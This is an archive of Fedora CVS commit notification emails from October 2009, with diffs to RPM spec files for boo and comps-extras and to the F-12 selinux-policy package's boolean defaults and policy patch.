@@ -13,8 +13,7 @@ Source0: http://dist.codehaus.org/boo/di
 Patch0: boo-targets.patch
 Patch1: boo-pkgconfig_path_fix.patch
 BuildRequires: mono-devel, gtksourceview-devel, shared-mime-info, pkgconfig, nant
-ExclusiveArch: %ix86 x86_64 ia64 armv4l sparc alpha
-
+ExcludeArch: sparc64
 
 %description
 Boo is a new object oriented statically typed programming language for the 
@@ -78,6 +77,9 @@ update-mime-database %{_datadir}/mime &>
 %{monodir}/boo/Boo.NAnt.Tasks.dll
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.9.2.3383-3
+- ExcludeArch sparc64
+
 * Tue Oct 06 2009 Paul Lange <palango at gmx.de> - 0.9.2.3383-2
 - Move Boo.NAnt.Tasks.dll to boo-devel
 



From ausil at fedoraproject.org  Mon Oct 26 19:31:01 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 19:31:01 +0000 (UTC)
Subject: rpms/boo/devel boo.spec,1.27,1.28
Message-ID: <20091026193101.D5A7B11C02BB@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/boo/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22640

Modified Files:
	boo.spec 
Log Message:
ExcludeArch sparc64



Index: boo.spec
===================================================================
RCS file: /cvs/pkgs/rpms/boo/devel/boo.spec,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- boo.spec	6 Oct 2009 20:52:02 -0000	1.27
+++ boo.spec	26 Oct 2009 19:31:01 -0000	1.28
@@ -4,7 +4,7 @@
 Summary: An OO statically typed language for CLI
 Name: boo
 Version: 0.9.2.3383
-Release: 2%{?dist}
+Release: 3%{?dist}
 License: MIT
 Group: Development/Languages
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -13,8 +13,7 @@ Source0: http://dist.codehaus.org/boo/di
 Patch0: boo-targets.patch
 Patch1: boo-pkgconfig_path_fix.patch
 BuildRequires: mono-devel, gtksourceview-devel, shared-mime-info, pkgconfig, nant
-ExclusiveArch: %ix86 x86_64 ia64 armv4l sparc alpha
-
+ExcludeArch: sparc64
 
 %description
 Boo is a new object oriented statically typed programming language for the 
@@ -78,6 +77,9 @@ update-mime-database %{_datadir}/mime &>
 %{monodir}/boo/Boo.NAnt.Tasks.dll
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.9.2.3383-3
+- ExcludeArch sparc64
+
 * Tue Oct 06 2009 Paul Lange <palango at gmx.de> - 0.9.2.3383-2
 - Move Boo.NAnt.Tasks.dll to boo-devel
 



From notting at fedoraproject.org  Mon Oct 26 19:31:14 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Mon, 26 Oct 2009 19:31:14 +0000 (UTC)
Subject: rpms/comps-extras/F-12 .cvsignore, 1.20, 1.21 comps-extras.spec,
	1.33, 1.34 sources, 1.24, 1.25
Message-ID: <20091026193114.BE88411C0264@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/extras/rpms/comps-extras/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22832/F-12

Modified Files:
	.cvsignore comps-extras.spec sources 
Log Message:
Update to 17.



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/comps-extras/F-12/.cvsignore,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- .cvsignore	5 Dec 2008 19:25:38 -0000	1.20
+++ .cvsignore	26 Oct 2009 19:31:14 -0000	1.21
@@ -1 +1 @@
-comps-extras-16.tar.gz
+comps-extras-17.tar.gz


Index: comps-extras.spec
===================================================================
RCS file: /cvs/extras/rpms/comps-extras/F-12/comps-extras.spec,v
retrieving revision 1.33
retrieving revision 1.34
diff -u -p -r1.33 -r1.34
--- comps-extras.spec	24 Jul 2009 19:23:21 -0000	1.33
+++ comps-extras.spec	26 Oct 2009 19:31:14 -0000	1.34
@@ -1,14 +1,15 @@
 Summary: Images for components included in Fedora
 Name: comps-extras
-Version: 16
-Release: 3
+Version: 17
+Release: 1
 URL: http://git.fedorahosted.org/git/?p=comps-extras.git;a=summary
 Source0: http://fedorahosted.org/releases/c/o/comps-extras/%{name}-%{version}.tar.gz
 # while GPL isn't normal for images, it is the case here
 # No version specified.
-# KDE log is LGPL
+# KDE logo is LGPL
+# LXDE logo is GPLv2+
 # Sugar and Ruby logos are CC-BY-SA
-License: GPL+ and LGPL+ and CC-BY-SA
+License: GPL+ and LGPL+ and GPLv2+ and CC-BY-SA
 Group: Applications/System
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch: noarch
@@ -36,11 +37,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/pixmaps/comps/*
 
 %changelog
-* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 16-3
-- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
-
-* Tue Feb 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 16-2
-- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+* Mon Oct 26 2009 Bill Nottingham <notitng at redhat.com> - 17-1
+- add LXDE logo (#529792)
+- add books, font-design icon symlinks
 
 * Fri Dec  5 2008 Bill Nottingham <notting at redhat.com> - 16-1
 - add a copy of the comps dtd & cleanup file (#204704)


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/comps-extras/F-12/sources,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- sources	5 Dec 2008 19:25:39 -0000	1.24
+++ sources	26 Oct 2009 19:31:14 -0000	1.25
@@ -1 +1 @@
-cfa65e3572d6d9bb44966b74078cb8ad  comps-extras-16.tar.gz
+9855ee9248bbb2d0fc8a634e4a5bd30a  comps-extras-17.tar.gz



From notting at fedoraproject.org  Mon Oct 26 19:31:15 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Mon, 26 Oct 2009 19:31:15 +0000 (UTC)
Subject: rpms/comps-extras/devel .cvsignore, 1.20, 1.21 comps-extras.spec,
	1.33, 1.34 sources, 1.24, 1.25
Message-ID: <20091026193115.277A311C0264@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/extras/rpms/comps-extras/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22832/devel

Modified Files:
	.cvsignore comps-extras.spec sources 
Log Message:
Update to 17.



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/comps-extras/devel/.cvsignore,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- .cvsignore	5 Dec 2008 19:25:38 -0000	1.20
+++ .cvsignore	26 Oct 2009 19:31:14 -0000	1.21
@@ -1 +1 @@
-comps-extras-16.tar.gz
+comps-extras-17.tar.gz


Index: comps-extras.spec
===================================================================
RCS file: /cvs/extras/rpms/comps-extras/devel/comps-extras.spec,v
retrieving revision 1.33
retrieving revision 1.34
diff -u -p -r1.33 -r1.34
--- comps-extras.spec	24 Jul 2009 19:23:21 -0000	1.33
+++ comps-extras.spec	26 Oct 2009 19:31:14 -0000	1.34
@@ -1,14 +1,15 @@
 Summary: Images for components included in Fedora
 Name: comps-extras
-Version: 16
-Release: 3
+Version: 17
+Release: 1
 URL: http://git.fedorahosted.org/git/?p=comps-extras.git;a=summary
 Source0: http://fedorahosted.org/releases/c/o/comps-extras/%{name}-%{version}.tar.gz
 # while GPL isn't normal for images, it is the case here
 # No version specified.
-# KDE log is LGPL
+# KDE logo is LGPL
+# LXDE logo is GPLv2+
 # Sugar and Ruby logos are CC-BY-SA
-License: GPL+ and LGPL+ and CC-BY-SA
+License: GPL+ and LGPL+ and GPLv2+ and CC-BY-SA
 Group: Applications/System
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch: noarch
@@ -36,11 +37,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/pixmaps/comps/*
 
 %changelog
-* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 16-3
-- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
-
-* Tue Feb 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 16-2
-- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+* Mon Oct 26 2009 Bill Nottingham <notitng at redhat.com> - 17-1
+- add LXDE logo (#529792)
+- add books, font-design icon symlinks
 
 * Fri Dec  5 2008 Bill Nottingham <notting at redhat.com> - 16-1
 - add a copy of the comps dtd & cleanup file (#204704)


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/comps-extras/devel/sources,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- sources	5 Dec 2008 19:25:39 -0000	1.24
+++ sources	26 Oct 2009 19:31:14 -0000	1.25
@@ -1 +1 @@
-cfa65e3572d6d9bb44966b74078cb8ad  comps-extras-16.tar.gz
+9855ee9248bbb2d0fc8a634e4a5bd30a  comps-extras-17.tar.gz



From dwalsh at fedoraproject.org  Mon Oct 26 19:31:24 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Mon, 26 Oct 2009 19:31:24 +0000 (UTC)
Subject: rpms/selinux-policy/F-12 booleans-targeted.conf, 1.58,
	1.59 policy-F12.patch, 1.117, 1.118 selinux-policy.spec, 1.950, 1.951
Message-ID: <20091026193124.D651811C0264@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/selinux-policy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22875

Modified Files:
	booleans-targeted.conf policy-F12.patch selinux-policy.spec 
Log Message:
* Fri Oct 23 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-34
- Turn allow_postfix_local_write_mail_spool on by default
- Allow bluetooth setpcap
- Allow dbus to transiton to rpm_t when executing debuginfo-install
- Allow chrome-sandbox to sends it self signals.
- Fix the labeling of /usr/lib/libswscale.so.0.7.1



Index: booleans-targeted.conf
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/booleans-targeted.conf,v
retrieving revision 1.58
retrieving revision 1.59
diff -u -p -r1.58 -r1.59
--- booleans-targeted.conf	22 Oct 2009 19:59:10 -0000	1.58
+++ booleans-targeted.conf	26 Oct 2009 19:31:23 -0000	1.59
@@ -56,7 +56,7 @@ allow_ypbind = false
 
 # Allow zebra to write it own configuration files
 # 
-allow_zebra_write_config = false
+allow_zebra_write_config = true
 
 # Enable extra rules in the cron domainto support fcron.
 # 
@@ -104,7 +104,7 @@ httpd_ssi_exec = false
 
 # Allow http daemon to communicate with the TTY
 # 
-httpd_tty_comm = false
+httpd_tty_comm = true
 
 # Run CGI in the main httpd domain
 # 
@@ -130,10 +130,6 @@ openvpn_enable_homedirs = true
 # 
 pppd_can_insmod = false
 
-# Allow reading of default_t files.
-# 
-read_default_t = false
-
 # Allow samba to export user home directories.
 # 
 samba_enable_home_dirs = false
@@ -152,7 +148,7 @@ use_samba_home_dirs = false
 
 # Control users use of ping and traceroute
 # 
-user_ping = false
+user_ping = true
 
 # allow host key based authentication
 # 
@@ -168,7 +164,7 @@ read_untrusted_content = false
 
 # Allow spamd to write to users homedirs
 # 
-spamd_enable_home_dirs = false
+spamd_enable_home_dirs = true
 
 # Allow regular users direct mouse access
 # 
@@ -200,7 +196,7 @@ write_untrusted_content = false
 
 # Allow all domains to talk to ttys
 # 
-allow_daemons_use_tty = false
+allow_daemons_use_tty = true
 
 # Allow login domains to polyinstatiate directories
 # 
@@ -233,7 +229,7 @@ browser_confine_xguest=false
 
 # Allow postfix locat to write to mail spool
 # 
-allow_postfix_local_write_mail_spool=false
+allow_postfix_local_write_mail_spool=true
 
 # Allow common users to read/write noexattrfile systems
 # 

policy-F12.patch:
 Makefile                                  |    2 
 policy/flask/access_vectors               |    1 
 policy/global_tunables                    |   24 
 policy/mcs                                |   10 
 policy/modules/admin/alsa.te              |    2 
 policy/modules/admin/anaconda.te          |    3 
 policy/modules/admin/brctl.te             |    2 
 policy/modules/admin/certwatch.te         |    2 
 policy/modules/admin/consoletype.te       |    1 
 policy/modules/admin/dmesg.fc             |    2 
 policy/modules/admin/dmesg.te             |   10 
 policy/modules/admin/firstboot.te         |    6 
 policy/modules/admin/logrotate.te         |   13 
 policy/modules/admin/logwatch.te          |    1 
 policy/modules/admin/mrtg.te              |    1 
 policy/modules/admin/netutils.te          |    1 
 policy/modules/admin/ntop.fc              |    5 
 policy/modules/admin/ntop.if              |  158 +++
 policy/modules/admin/ntop.te              |   40 
 policy/modules/admin/portage.te           |    2 
 policy/modules/admin/prelink.if           |    4 
 policy/modules/admin/prelink.te           |    2 
 policy/modules/admin/readahead.te         |    1 
 policy/modules/admin/rpm.fc               |   18 
 policy/modules/admin/rpm.if               |  324 ++++++
 policy/modules/admin/rpm.te               |   97 +
 policy/modules/admin/shorewall.if         |   40 
 policy/modules/admin/shorewall.te         |    2 
 policy/modules/admin/smoltclient.fc       |    4 
 policy/modules/admin/smoltclient.if       |    1 
 policy/modules/admin/smoltclient.te       |   66 +
 policy/modules/admin/sudo.if              |   13 
 policy/modules/admin/tmpreaper.te         |    5 
 policy/modules/admin/tzdata.te            |    2 
 policy/modules/admin/usermanage.if        |    5 
 policy/modules/admin/usermanage.te        |   34 
 policy/modules/admin/vbetool.te           |   14 
 policy/modules/admin/vpn.te               |    2 
 policy/modules/apps/calamaris.te          |    7 
 policy/modules/apps/chrome.fc             |    2 
 policy/modules/apps/chrome.if             |   85 +
 policy/modules/apps/chrome.te             |   61 +
 policy/modules/apps/cpufreqselector.te    |    2 
 policy/modules/apps/execmem.fc            |   35 
 policy/modules/apps/execmem.if            |   76 +
 policy/modules/apps/execmem.te            |   11 
 policy/modules/apps/firewallgui.fc        |    3 
 policy/modules/apps/firewallgui.if        |    3 
 policy/modules/apps/firewallgui.te        |   63 +
 policy/modules/apps/gitosis.if            |   45 
 policy/modules/apps/gnome.fc              |   12 
 policy/modules/apps/gnome.if              |  170 +++
 policy/modules/apps/gnome.te              |   99 +
 policy/modules/apps/gpg.te                |   20 
 policy/modules/apps/java.fc               |   18 
 policy/modules/apps/java.if               |  114 ++
 policy/modules/apps/java.te               |   19 
 policy/modules/apps/kdumpgui.fc           |    2 
 policy/modules/apps/kdumpgui.if           |    2 
 policy/modules/apps/kdumpgui.te           |   65 +
 policy/modules/apps/livecd.fc             |    2 
 policy/modules/apps/livecd.if             |   50 
 policy/modules/apps/livecd.te             |   26 
 policy/modules/apps/loadkeys.te           |    4 
 policy/modules/apps/mono.if               |  101 +
 policy/modules/apps/mono.te               |    9 
 policy/modules/apps/mozilla.fc            |    1 
 policy/modules/apps/mozilla.if            |   32 
 policy/modules/apps/mozilla.te            |   22 
 policy/modules/apps/nsplugin.fc           |   11 
 policy/modules/apps/nsplugin.if           |  323 ++++++
 policy/modules/apps/nsplugin.te           |  295 +++++
 policy/modules/apps/openoffice.fc         |    3 
 policy/modules/apps/openoffice.if         |   93 +
 policy/modules/apps/openoffice.te         |   11 
 policy/modules/apps/pulseaudio.if         |    2 
 policy/modules/apps/pulseaudio.te         |   11 
 policy/modules/apps/qemu.fc               |    4 
 policy/modules/apps/qemu.if               |  189 +++
 policy/modules/apps/qemu.te               |   82 +
 policy/modules/apps/sambagui.fc           |    1 
 policy/modules/apps/sambagui.if           |    2 
 policy/modules/apps/sambagui.te           |   57 +
 policy/modules/apps/sandbox.fc            |    1 
 policy/modules/apps/sandbox.if            |  184 +++
 policy/modules/apps/sandbox.te            |  330 ++++++
 policy/modules/apps/screen.if             |    7 
 policy/modules/apps/sectoolm.fc           |    6 
 policy/modules/apps/sectoolm.if           |    3 
 policy/modules/apps/sectoolm.te           |  120 ++
 policy/modules/apps/seunshare.fc          |    2 
 policy/modules/apps/seunshare.if          |   81 +
 policy/modules/apps/seunshare.te          |   45 
 policy/modules/apps/vmware.te             |    1 
 policy/modules/apps/wine.fc               |   24 
 policy/modules/apps/wine.if               |  115 ++
 policy/modules/apps/wine.te               |   34 
 policy/modules/kernel/corecommands.fc     |   32 
 policy/modules/kernel/corecommands.if     |   21 
 policy/modules/kernel/corenetwork.te.in   |   36 
 policy/modules/kernel/devices.fc          |   11 
 policy/modules/kernel/devices.if          |  255 +++++
 policy/modules/kernel/devices.te          |   25 
 policy/modules/kernel/domain.if           |  151 ++
 policy/modules/kernel/domain.te           |   88 +
 policy/modules/kernel/files.fc            |    3 
 policy/modules/kernel/files.if            |  324 ++++++
 policy/modules/kernel/files.te            |    6 
 policy/modules/kernel/filesystem.fc       |    2 
 policy/modules/kernel/filesystem.if       |  211 ++++
 policy/modules/kernel/filesystem.te       |    9 
 policy/modules/kernel/kernel.if           |   58 +
 policy/modules/kernel/kernel.te           |   29 
 policy/modules/kernel/selinux.if          |   25 
 policy/modules/kernel/storage.fc          |    1 
 policy/modules/kernel/storage.if          |    3 
 policy/modules/kernel/terminal.fc         |    1 
 policy/modules/kernel/terminal.if         |   40 
 policy/modules/kernel/terminal.te         |    1 
 policy/modules/roles/guest.te             |    8 
 policy/modules/roles/staff.te             |  123 --
 policy/modules/roles/sysadm.te            |  124 --
 policy/modules/roles/unconfineduser.fc    |    8 
 policy/modules/roles/unconfineduser.if    |  638 ++++++++++++
 policy/modules/roles/unconfineduser.te    |  425 ++++++++
 policy/modules/roles/unprivuser.te        |  127 --
 policy/modules/roles/xguest.te            |   37 
 policy/modules/services/abrt.fc           |    2 
 policy/modules/services/abrt.if           |   58 +
 policy/modules/services/abrt.te           |   26 
 policy/modules/services/afs.fc            |    1 
 policy/modules/services/afs.te            |    1 
 policy/modules/services/aisexec.fc        |   12 
 policy/modules/services/aisexec.if        |  106 ++
 policy/modules/services/aisexec.te        |  112 ++
 policy/modules/services/amavis.te         |    2 
 policy/modules/services/apache.fc         |   41 
 policy/modules/services/apache.if         |  410 +++++---
 policy/modules/services/apache.te         |  445 +++++++-
 policy/modules/services/apm.te            |    2 
 policy/modules/services/automount.te      |    1 
 policy/modules/services/avahi.te          |    2 
 policy/modules/services/bind.if           |   40 
 policy/modules/services/bluetooth.if      |   21 
 policy/modules/services/bluetooth.te      |   11 
 policy/modules/services/ccs.fc            |    8 
 policy/modules/services/ccs.te            |   33 
 policy/modules/services/certmaster.te     |    2 
 policy/modules/services/chronyd.fc        |   11 
 policy/modules/services/chronyd.if        |  105 ++
 policy/modules/services/chronyd.te        |   67 +
 policy/modules/services/clamav.te         |   16 
 policy/modules/services/clogd.fc          |    4 
 policy/modules/services/clogd.if          |   98 +
 policy/modules/services/clogd.te          |   62 +
 policy/modules/services/cobbler.fc        |    2 
 policy/modules/services/cobbler.if        |   24 
 policy/modules/services/cobbler.te        |    5 
 policy/modules/services/consolekit.if     |   39 
 policy/modules/services/consolekit.te     |   20 
 policy/modules/services/corosync.fc       |   13 
 policy/modules/services/corosync.if       |  108 ++
 policy/modules/services/corosync.te       |  109 ++
 policy/modules/services/courier.if        |   18 
 policy/modules/services/courier.te        |    1 
 policy/modules/services/cron.fc           |    6 
 policy/modules/services/cron.if           |   72 +
 policy/modules/services/cron.te           |   82 +
 policy/modules/services/cups.fc           |   13 
 policy/modules/services/cups.te           |   42 
 policy/modules/services/cvs.te            |    1 
 policy/modules/services/cyrus.te          |    1 
 policy/modules/services/dbus.if           |   49 
 policy/modules/services/dbus.te           |   25 
 policy/modules/services/dcc.te            |    8 
 policy/modules/services/ddclient.if       |   25 
 policy/modules/services/devicekit.fc      |    2 
 policy/modules/services/devicekit.if      |   22 
 policy/modules/services/devicekit.te      |   58 +
 policy/modules/services/dnsmasq.te        |   12 
 policy/modules/services/dovecot.te        |   22 
 policy/modules/services/exim.te           |    5 
 policy/modules/services/fail2ban.te       |    2 
 policy/modules/services/fetchmail.te      |    2 
 policy/modules/services/fprintd.te        |    4 
 policy/modules/services/ftp.te            |   60 +
 policy/modules/services/git.fc            |    8 
 policy/modules/services/git.if            |  286 +++++
 policy/modules/services/git.te            |  166 +++
 policy/modules/services/gpm.te            |    3 
 policy/modules/services/gpsd.fc           |    5 
 policy/modules/services/gpsd.if           |   27 
 policy/modules/services/gpsd.te           |   14 
 policy/modules/services/hal.fc            |    1 
 policy/modules/services/hal.if            |   18 
 policy/modules/services/hal.te            |   48 
 policy/modules/services/howl.te           |    2 
 policy/modules/services/inetd.fc          |    2 
 policy/modules/services/inetd.te          |    4 
 policy/modules/services/irqbalance.te     |    4 
 policy/modules/services/kerberos.te       |   13 
 policy/modules/services/kerneloops.te     |    2 
 policy/modules/services/ktalk.te          |    1 
 policy/modules/services/lircd.fc          |    1 
 policy/modules/services/lircd.if          |    9 
 policy/modules/services/lircd.te          |   21 
 policy/modules/services/mailman.te        |    4 
 policy/modules/services/memcached.te      |    2 
 policy/modules/services/milter.if         |    2 
 policy/modules/services/modemmanager.te   |    3 
 policy/modules/services/mta.fc            |    2 
 policy/modules/services/mta.if            |   10 
 policy/modules/services/mta.te            |   36 
 policy/modules/services/munin.fc          |    3 
 policy/modules/services/munin.te          |    3 
 policy/modules/services/mysql.te          |    7 
 policy/modules/services/nagios.fc         |   16 
 policy/modules/services/nagios.if         |   70 +
 policy/modules/services/nagios.te         |   72 -
 policy/modules/services/networkmanager.fc |   14 
 policy/modules/services/networkmanager.if |   65 +
 policy/modules/services/networkmanager.te |  115 +-
 policy/modules/services/nis.fc            |    5 
 policy/modules/services/nis.if            |   87 +
 policy/modules/services/nis.te            |   13 
 policy/modules/services/nscd.if           |   18 
 policy/modules/services/nscd.te           |   17 
 policy/modules/services/nslcd.if          |    8 
 policy/modules/services/ntp.if            |   46 
 policy/modules/services/ntp.te            |    8 
 policy/modules/services/nut.fc            |   15 
 policy/modules/services/nut.if            |   82 +
 policy/modules/services/nut.te            |  140 ++
 policy/modules/services/nx.fc             |    1 
 policy/modules/services/nx.if             |   19 
 policy/modules/services/nx.te             |    6 
 policy/modules/services/oddjob.if         |    1 
 policy/modules/services/openvpn.te        |    2 
 policy/modules/services/pcscd.te          |    3 
 policy/modules/services/pegasus.te        |   28 
 policy/modules/services/plymouth.fc       |    5 
 policy/modules/services/plymouth.if       |  286 +++++
 policy/modules/services/plymouth.te       |   96 +
 policy/modules/services/policykit.fc      |    5 
 policy/modules/services/policykit.if      |   48 
 policy/modules/services/policykit.te      |   64 -
 policy/modules/services/postfix.fc        |    2 
 policy/modules/services/postfix.if        |  150 ++
 policy/modules/services/postfix.te        |  142 ++
 policy/modules/services/postgresql.fc     |   16 
 policy/modules/services/postgresql.if     |   43 
 policy/modules/services/postgresql.te     |    9 
 policy/modules/services/ppp.if            |    6 
 policy/modules/services/ppp.te            |   16 
 policy/modules/services/prelude.te        |    1 
 policy/modules/services/privoxy.fc        |    3 
 policy/modules/services/privoxy.te        |    3 
 policy/modules/services/procmail.te       |   12 
 policy/modules/services/pyzor.fc          |    4 
 policy/modules/services/pyzor.if          |   47 
 policy/modules/services/pyzor.te          |   37 
 policy/modules/services/radvd.te          |    1 
 policy/modules/services/razor.fc          |    1 
 policy/modules/services/razor.if          |   42 
 policy/modules/services/razor.te          |   32 
 policy/modules/services/rgmanager.fc      |    8 
 policy/modules/services/rgmanager.if      |   59 +
 policy/modules/services/rgmanager.te      |   83 +
 policy/modules/services/rhcs.fc           |   22 
 policy/modules/services/rhcs.if           |  348 ++++++
 policy/modules/services/rhcs.te           |  394 +++++++
 policy/modules/services/ricci.te          |   30 
 policy/modules/services/rpc.if            |    7 
 policy/modules/services/rpc.te            |   16 
 policy/modules/services/rpcbind.if        |   20 
 policy/modules/services/rpcbind.te        |    1 
 policy/modules/services/rsync.te          |   23 
 policy/modules/services/rtkit.if          |   20 
 policy/modules/services/rtkit.te          |    2 
 policy/modules/services/samba.fc          |    4 
 policy/modules/services/samba.if          |  104 ++
 policy/modules/services/samba.te          |   89 +
 policy/modules/services/sasl.te           |   15 
 policy/modules/services/sendmail.if       |  137 ++
 policy/modules/services/sendmail.te       |   87 +
 policy/modules/services/setroubleshoot.fc |    2 
 policy/modules/services/setroubleshoot.if |  123 ++
 policy/modules/services/setroubleshoot.te |   81 +
 policy/modules/services/smartmon.te       |   15 
 policy/modules/services/snmp.if           |   38 
 policy/modules/services/snmp.te           |    4 
 policy/modules/services/spamassassin.fc   |   15 
 policy/modules/services/spamassassin.if   |   89 +
 policy/modules/services/spamassassin.te   |  138 ++
 policy/modules/services/squid.te          |    9 
 policy/modules/services/ssh.fc            |    2 
 policy/modules/services/ssh.if            |  184 ++-
 policy/modules/services/ssh.te            |   77 -
 policy/modules/services/sssd.fc           |    5 
 policy/modules/services/sssd.if           |   43 
 policy/modules/services/sssd.te           |   12 
 policy/modules/services/sysstat.te        |    5 
 policy/modules/services/tftp.fc           |    2 
 policy/modules/services/tuned.fc          |    6 
 policy/modules/services/tuned.if          |  140 ++
 policy/modules/services/tuned.te          |   58 +
 policy/modules/services/uucp.te           |    7 
 policy/modules/services/virt.fc           |   13 
 policy/modules/services/virt.if           |  180 +++
 policy/modules/services/virt.te           |  274 +++++
 policy/modules/services/w3c.te            |    7 
 policy/modules/services/xserver.fc        |   37 
 policy/modules/services/xserver.if        |  588 ++++++++++-
 policy/modules/services/xserver.te        |  336 +++++-
 policy/modules/system/application.if      |   20 
 policy/modules/system/application.te      |   11 
 policy/modules/system/authlogin.fc        |    9 
 policy/modules/system/authlogin.if        |  207 +++-
 policy/modules/system/authlogin.te        |   10 
 policy/modules/system/fstools.fc          |    2 
 policy/modules/system/fstools.te          |    7 
 policy/modules/system/init.fc             |    7 
 policy/modules/system/init.if             |  158 ++-
 policy/modules/system/init.te             |  285 ++++-
 policy/modules/system/ipsec.fc            |    3 
 policy/modules/system/ipsec.if            |   25 
 policy/modules/system/ipsec.te            |   58 +
 policy/modules/system/iptables.fc         |   17 
 policy/modules/system/iptables.if         |   97 +
 policy/modules/system/iptables.te         |   15 
 policy/modules/system/iscsi.if            |   40 
 policy/modules/system/iscsi.te            |    6 
 policy/modules/system/libraries.fc        |  164 ++-
 policy/modules/system/libraries.if        |    5 
 policy/modules/system/libraries.te        |   18 
 policy/modules/system/locallogin.te       |   30 
 policy/modules/system/logging.fc          |   12 
 policy/modules/system/logging.if          |   18 
 policy/modules/system/logging.te          |   38 
 policy/modules/system/lvm.if              |   39 
 policy/modules/system/lvm.te              |   29 
 policy/modules/system/miscfiles.fc        |    2 
 policy/modules/system/miscfiles.if        |   60 +
 policy/modules/system/miscfiles.te        |    3 
 policy/modules/system/modutils.fc         |    1 
 policy/modules/system/modutils.if         |   46 
 policy/modules/system/modutils.te         |   46 
 policy/modules/system/mount.fc            |    7 
 policy/modules/system/mount.if            |    2 
 policy/modules/system/mount.te            |   76 +
 policy/modules/system/raid.fc             |    2 
 policy/modules/system/raid.te             |    8 
 policy/modules/system/selinuxutil.fc      |   17 
 policy/modules/system/selinuxutil.if      |  309 ++++++
 policy/modules/system/selinuxutil.te      |  229 +---
 policy/modules/system/setrans.if          |   20 
 policy/modules/system/sysnetwork.fc       |    9 
 policy/modules/system/sysnetwork.if       |  117 ++
 policy/modules/system/sysnetwork.te       |   77 +
 policy/modules/system/udev.fc             |    3 
 policy/modules/system/udev.if             |   39 
 policy/modules/system/udev.te             |   39 
 policy/modules/system/unconfined.fc       |   15 
 policy/modules/system/unconfined.if       |  443 --------
 policy/modules/system/unconfined.te       |  224 ----
 policy/modules/system/userdomain.fc       |    6 
 policy/modules/system/userdomain.if       | 1517 ++++++++++++++++++++++--------
 policy/modules/system/userdomain.te       |   47 
 policy/modules/system/xen.fc              |    6 
 policy/modules/system/xen.if              |   28 
 policy/modules/system/xen.te              |  137 ++
 policy/support/obj_perm_sets.spt          |   14 
 policy/users                              |   13 
 373 files changed, 18219 insertions(+), 2752 deletions(-)

Index: policy-F12.patch
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/policy-F12.patch,v
retrieving revision 1.117
retrieving revision 1.118
diff -u -p -r1.117 -r1.118
--- policy-F12.patch	23 Oct 2009 14:40:38 -0000	1.117
+++ policy-F12.patch	26 Oct 2009 19:31:23 -0000	1.118
@@ -1034,7 +1034,7 @@ diff -b -B --ignore-all-space --exclude-
 +
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/admin/rpm.te serefpolicy-3.6.32/policy/modules/admin/rpm.te
 --- nsaserefpolicy/policy/modules/admin/rpm.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/admin/rpm.te	2009-10-01 17:14:31.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/admin/rpm.te	2009-10-26 09:07:41.000000000 -0400
 @@ -15,6 +15,9 @@
  domain_interactive_fd(rpm_t)
  role system_r types rpm_t;
@@ -1141,7 +1141,7 @@ diff -b -B --ignore-all-space --exclude-
  
  libs_exec_ld_so(rpm_t)
  libs_exec_lib_files(rpm_t)
-@@ -174,44 +202,37 @@
+@@ -174,44 +202,41 @@
  ')
  
  optional_policy(`
@@ -1159,7 +1159,6 @@ diff -b -B --ignore-all-space --exclude-
 -	# yum-updatesd requires this
 -	unconfined_dbus_chat(rpm_t)
 +		dbus_system_domain(rpm_t, rpm_exec_t)
-+	')
  ')
  
 -ifdef(`TODO',`
@@ -1172,7 +1171,11 @@ diff -b -B --ignore-all-space --exclude-
 -allow rpm_t fs_type:dir { setattr rw_dir_perms };
 -
 -allow rpm_t mount_t:tcp_socket write;
--
++	optional_policy(`
++		dbus_system_domain(rpm_t, debuginfo_exec_t)
++	')
++')
+ 
